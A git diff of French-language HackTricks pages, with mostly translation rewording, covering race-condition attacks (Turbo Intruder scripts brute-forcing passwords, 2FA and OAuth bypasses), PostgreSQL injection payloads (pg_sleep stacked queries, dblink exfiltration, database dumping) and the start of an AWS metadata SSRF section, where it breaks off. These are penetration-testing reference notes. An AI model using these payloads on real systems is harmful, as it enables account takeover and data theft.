* **HTTP/2** : prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter du réseau. Cependant, en raison de variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.
|
||||
* **HTTP/1.1 'Synchronisation du dernier octet'** : permet l'envoi préalable de la plupart des parties de 20 à 30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant une arrivée simultanée au serveur.
|
||||
|
||||
La **préparation à la synchronisation du dernier octet** implique :
|
||||
1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux.
|
||||
2. Mettre en pause pendant 100 ms après l'envoi initial.
|
||||
3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales.
|
||||
4. Faire un ping pour chauffer la connexion.
|
||||
|
||||
1. Envoi des en-têtes et des données du corps moins le dernier octet sans terminer le flux.
|
||||
2. Pause de 100 ms après l'envoi initial.
|
||||
3. Désactivation de TCP\_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les trames finales.
|
||||
4. Ping pour réchauffer la connexion.
|
||||
|
||||
L'envoi ultérieur des trames retenues devrait entraîner leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.
|
||||
|
||||
### Adaptation à l'architecture du serveur
|
||||
|
||||
Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant le timing. Le préchauffage côté serveur préventif, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes.
|
||||
Comprendre l'architecture de la cible est crucial. Les serveurs frontaliers peuvent router les requêtes différemment, affectant la synchronisation. Le réchauffement préventif de la connexion côté serveur, à travers des requêtes insignifiantes, pourrait normaliser le timing des requêtes.
|
||||
|
||||
#### Gestion du verrouillage basé sur la session
|
||||
|
||||
|
@ -55,16 +56,15 @@ Les frameworks comme le gestionnaire de session PHP sérialisent les requêtes p
|
|||
|
||||
#### Surmonter les limites de taux ou de ressources
|
||||
|
||||
Si le préchauffage de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs web en inondant de fausses requêtes pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course.
|
||||
|
||||
Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les retards de limite de taux ou de ressources des serveurs Web à travers une vague de requêtes factices pourrait faciliter l'attaque en un seul paquet en induisant un retard côté serveur propice aux conditions de course.
|
||||
|
||||
## Exemples d'attaque
|
||||
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner **`examples/race-single-packer-attack.py`** dans le menu déroulant :
|
||||
* **Tubo Intruder - Attaque en un seul paquet HTTP2 (1 point de terminaison)** : Vous pouvez envoyer la requête à **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour **`%s`** comme dans `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` et ensuite sélectionner le **`examples/race-single-packer-attack.py`** dans le menu déroulant :
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :
|
||||
Si vous allez **envoyer des valeurs différentes**, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots du presse-papiers :
|
||||
```python
|
||||
passwords = wordlists.clipboard
|
||||
for password in passwords:
|
||||
|
@ -74,7 +74,7 @@ engine.queue(target.req, password, gate='race1')
|
|||
Si le site web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez `Engine.THREADED` ou `Engine.BURP` au lieu de `Engine.BURP2`.
|
||||
{% endhint %}
|
||||
|
||||
* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points d'extrémité)**: Si vous devez envoyer une requête à 1 point d'extrémité puis à plusieurs autres points d'extrémité pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit :
|
||||
* **Tubo Intruder - Attaque à un seul paquet HTTP2 (Plusieurs points finaux)**: Si vous devez envoyer une requête à 1 point final, puis à plusieurs autres points finaux pour déclencher l'exécution de code à distance, vous pouvez modifier le script `race-single-packet-attack.py` comme suit :
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -108,17 +108,17 @@ engine.openGate(currentAttempt)
|
|||
* Il est également disponible dans **Repeater** via la nouvelle option '**Envoyer le groupe en parallèle**' dans Burp Suite.
|
||||
* Pour **dépasser la limite**, vous pourriez simplement ajouter la **même requête 50 fois** dans le groupe.
|
||||
* Pour le **préchauffage de la connexion**, vous pourriez **ajouter** au **début** du **groupe** quelques **requêtes** vers une partie non statique du serveur web.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes de sous-états, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour **retarder** le processus **entre** le traitement **d'une requête et d'une autre** en 2 étapes, vous pourriez **ajouter des requêtes supplémentaires entre** les deux requêtes.
|
||||
* Pour un RC à **multi-point d'extrémité**, vous pourriez commencer à envoyer la **requête** qui **va vers l'état caché** puis **50 requêtes** juste après qui **exploitent l'état caché**.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Brut BF
|
||||
|
||||
Avant les recherches précédentes, voici quelques charges utiles utilisées qui ont simplement essayé d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
|
||||
Avant les recherches précédentes, voici quelques charges utiles utilisées qui tentaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer un RC.
|
||||
|
||||
* **Repeater:** Consultez les exemples de la section précédente.
|
||||
* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** à **30** dans le **menu Options et,** sélectionnez comme charge utile **Charges utiles nulles** et générez **30.**
|
||||
* **Intruder**: Envoyez la **requête** à **Intruder**, définissez le **nombre de threads** à **30** dans le **menu Options et,** sélectionnez comme charge utile **Charges nulles** et générez **30.**
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
@ -170,44 +170,43 @@ asyncio.run(main())
|
|||
|
||||
### Dépassement de limite / TOCTOU
|
||||
|
||||
Il s'agit du type le plus basique de condition de course où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser le même code de réduction plusieurs fois dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
|
||||
Il s'agit du type le plus basique de condition de course où des **vulnérabilités** apparaissent dans des endroits qui **limitent le nombre de fois où vous pouvez effectuer une action**. Comme utiliser plusieurs fois le même code de réduction dans une boutique en ligne. Un exemple très simple peut être trouvé dans [**ce rapport**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou dans [**ce bug**](https://hackerone.com/reports/759247)**.**
|
||||
|
||||
Il existe de nombreuses variations de ce type d'attaque, notamment :
|
||||
|
||||
- Utiliser plusieurs fois une carte cadeau
|
||||
- Noter un produit plusieurs fois
|
||||
- Retirer ou transférer de l'argent en excès par rapport à votre solde de compte
|
||||
- Réutiliser une solution CAPTCHA unique
|
||||
- Contourner une limite de taux anti-brute force
|
||||
* Utiliser plusieurs fois une carte cadeau
|
||||
* Noter un produit plusieurs fois
|
||||
* Retirer ou transférer de l'argent en excès par rapport à votre solde de compte
|
||||
* Réutiliser une solution CAPTCHA unique
|
||||
* Contourner une limite de taux anti-brute force
|
||||
|
||||
### **Sous-états cachés**
|
||||
|
||||
Exploiter des conditions de course complexes implique souvent de profiter de brèves opportunités pour interagir avec des sous-états de machine cachés ou **non intentionnels**. Voici comment aborder cela :
|
||||
|
||||
1. **Identifier les sous-états cachés potentiels**
|
||||
- Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
|
||||
- **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client.
|
||||
- **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
|
||||
- **Clé** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.
|
||||
|
||||
* Commencez par cibler les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateurs ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
|
||||
* **Stockage** : Privilégiez les points de terminaison qui manipulent des données persistantes côté serveur par rapport à ceux qui gèrent des données côté client.
|
||||
* **Action** : Recherchez les opérations qui modifient des données existantes, plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
|
||||
* **Identification** : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.
|
||||
2. **Effectuer des sondages initiaux**
|
||||
- Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité.
|
||||
|
||||
* Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements de comportement de l'application peuvent signaler une vulnérabilité.
|
||||
3. **Démontrer la vulnérabilité**
|
||||
- Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la précision temporelle impliquée.
|
||||
* Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou une automatisation en raison de la synchronisation précise impliquée.
|
||||
|
||||
### Attaques sensibles au temps
|
||||
|
||||
La précision dans le timing des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
|
||||
La précision dans la synchronisation des requêtes peut révéler des vulnérabilités, notamment lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre d'obtenir des jetons identiques pour des requêtes simultanées.
|
||||
|
||||
**Pour exploiter :**
|
||||
- Utilisez un timing précis, comme une attaque en un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
|
||||
|
||||
* Utilisez une synchronisation précise, comme une attaque à un seul paquet, pour effectuer des demandes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.
|
||||
|
||||
**Exemple :**
|
||||
- Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent une faille dans la génération de jetons.
|
||||
|
||||
**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) pour essayer cela.**
|
||||
* Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent un défaut dans la génération de jetons.
|
||||
|
||||
**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **pour essayer cela.**
|
||||
|
||||
## Études de cas sur les sous-états cachés
|
||||
|
||||
|
@ -223,19 +222,19 @@ L'idée est de **vérifier une adresse e-mail et la changer pour une autre en m
|
|||
|
||||
Selon [**cette recherche**](https://portswigger.net/research/smashing-the-state-machine) Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait **envoyer** le **jeton de vérification de l'e-mail d'un e-mail à l'autre**.
|
||||
|
||||
**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) pour essayer cela.**
|
||||
**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **pour essayer cela.**
|
||||
|
||||
### États de base de données cachés / Contournement de la confirmation
|
||||
### États cachés de la base de données / Contournement de la confirmation
|
||||
|
||||
Si **2 écritures différentes** sont utilisées pour **ajouter** **des informations** dans une **base de données**, il y a un petit laps de temps où **seule la première donnée a été écrite** dans la base de données. Par exemple, lors de la création d'un utilisateur, le **nom d'utilisateur** et le **mot de passe** peuvent être **écrits** puis le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court laps de temps, le **jeton pour confirmer un compte est nul**.
|
||||
|
||||
Par conséquent, **enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide** (`token=` ou `token[]=` ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de **confirmer un compte** dont vous ne contrôlez pas l'e-mail.
|
||||
|
||||
**Consultez ce [laboratoire PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) pour essayer cela.**
|
||||
**Consultez ce** [**laboratoire PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **pour essayer cela.**
|
||||
|
||||
### Contourner l'authentification à 2 facteurs
|
||||
|
||||
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, **l'authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée:
|
||||
Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court laps de temps, l'**authentification à 2 facteurs n'est pas appliquée** tandis que la session est créée :
|
||||
```python
|
||||
session['userid'] = user.userid
|
||||
if user.mfa_enabled:
|
||||
|
@ -245,20 +244,20 @@ session['enforce_mfa'] = True
|
|||
```
|
||||
### Persistance éternelle OAuth2
|
||||
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **autoriser votre application** à accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Il existe plusieurs [**fournisseurs OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Ces services vous permettront de créer une application et d'authentifier les utilisateurs enregistrés par le fournisseur. Pour ce faire, le **client** devra **permettre à votre application** d'accéder à certaines de leurs données à l'intérieur du **fournisseur OAuth**.\
|
||||
Ainsi, jusqu'ici, il s'agit simplement d'une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "_L'application \<InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser?_"
|
||||
|
||||
#### Condition de course dans `authorization_code`
|
||||
#### Course Condition dans `authorization_code`
|
||||
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Condition de Course dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
Le **problème** survient lorsque vous **l'acceptez** et envoie automatiquement un **`authorization_code`** à l'application malveillante. Ensuite, cette **application abuse d'une Course Condition dans le fournisseur de services OAuth pour générer plus d'un AT/RT** (_Authentication Token/Refresh Token_) à partir du **`authorization_code`** pour votre compte. Fondamentalement, elle exploitera le fait que vous avez accepté l'application pour accéder à vos données afin de **créer plusieurs comptes**. Ensuite, si vous **arrêtez d'autoriser l'application à accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides**.
|
||||
|
||||
#### Condition de course dans `Refresh Token`
|
||||
#### Course Condition dans `Refresh Token`
|
||||
|
||||
Une fois que vous avez **obtenu un RT valide**, vous pourriez essayer de **l'exploiter pour générer plusieurs AT/RT** et **même si l'utilisateur annule les autorisations** pour l'application malveillante d'accéder à ses données, **plusieurs RT resteront valides**.
|
||||
|
||||
## **RC dans les WebSockets**
|
||||
## **CC dans les WebSockets**
|
||||
|
||||
Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter **les Conditions de Course également dans les Web Sockets**.
|
||||
Dans [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) vous pouvez trouver un PoC en Java pour envoyer des messages websocket en **parallèle** pour exploiter les **Course Conditions également dans les Web Sockets**.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -277,7 +276,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
|
@ -26,7 +26,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impirat
|
|||
|
||||
## Interaction réseau - Élévation de privilèges, Scanner de ports, divulgation de la réponse au défi NTLM et Exfiltration
|
||||
|
||||
Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées avec la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
Le module **PostgreSQL `dblink`** offre des capacités pour se connecter à d'autres instances PostgreSQL et exécuter des connexions TCP. Ces fonctionnalités, combinées à la fonctionnalité `COPY FROM`, permettent des actions telles que l'élévation de privilèges, le balayage de ports et la capture de la réponse au défi NTLM. Pour des méthodes détaillées sur l'exécution de ces attaques, consultez comment [effectuer ces attaques](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
|
||||
|
||||
### **Exemple d'exfiltration utilisant dblink et les grands objets**
|
||||
|
||||
|
@ -49,7 +49,7 @@ La manipulation de chaînes pourrait vous aider à **contourner les WAF ou d'aut
|
|||
|
||||
### Requêtes empilées
|
||||
|
||||
Rappelez-vous que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps :
|
||||
N'oubliez pas que PostgreSQL prend en charge les requêtes empilées, mais plusieurs applications renverront une erreur si 2 réponses sont renvoyées alors qu'une seule est attendue. Cependant, vous pouvez toujours abuser des requêtes empilées via une injection de temps :
|
||||
```
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
|
@ -58,13 +58,13 @@ id=1; select pg_sleep(10);-- -
|
|||
|
||||
**query\_to\_xml**
|
||||
|
||||
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez extraire beaucoup de données en une seule ligne :
|
||||
Cette fonction renverra toutes les données au format XML dans un seul fichier. C'est idéal si vous souhaitez déverser beaucoup de données en une seule ligne :
|
||||
```sql
|
||||
SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database\_to\_xml**
|
||||
|
||||
Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client) :
|
||||
Cette fonction va extraire l'intégralité de la base de données au format XML en une seule ligne (soyez prudent si la base de données est très volumineuse car vous pourriez la mettre en panne ou même votre propre client):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
|
@ -96,22 +96,22 @@ SELECT 'hacktricks';
|
|||
SELECT $$hacktricks$$;
|
||||
SELECT $TAG$hacktricks$TAG$;
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -28,12 +28,12 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi
|
|||
|
||||
**La métadonnée** peut être accédée depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Elle est accessible à l'URL : `http://169.254.169.254` ([informations sur la métadonnée ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||
|
||||
Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (il est donc **plus compliqué à exploiter** avec une SSRF).
|
||||
Il existe **2 versions** de la métadonnée. La **première** permet d'**accéder** à la métadonnée via des requêtes **GET** (donc toute **SSRF peut l'exploiter**). Pour la **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), vous devez demander un **jeton** en envoyant une requête **PUT** avec un **en-tête HTTP** puis utiliser ce jeton pour accéder à la métadonnée avec un autre en-tête HTTP (donc c'est **plus compliqué à exploiter** avec une SSRF).
|
||||
|
||||
{% hint style="danger" %}
|
||||
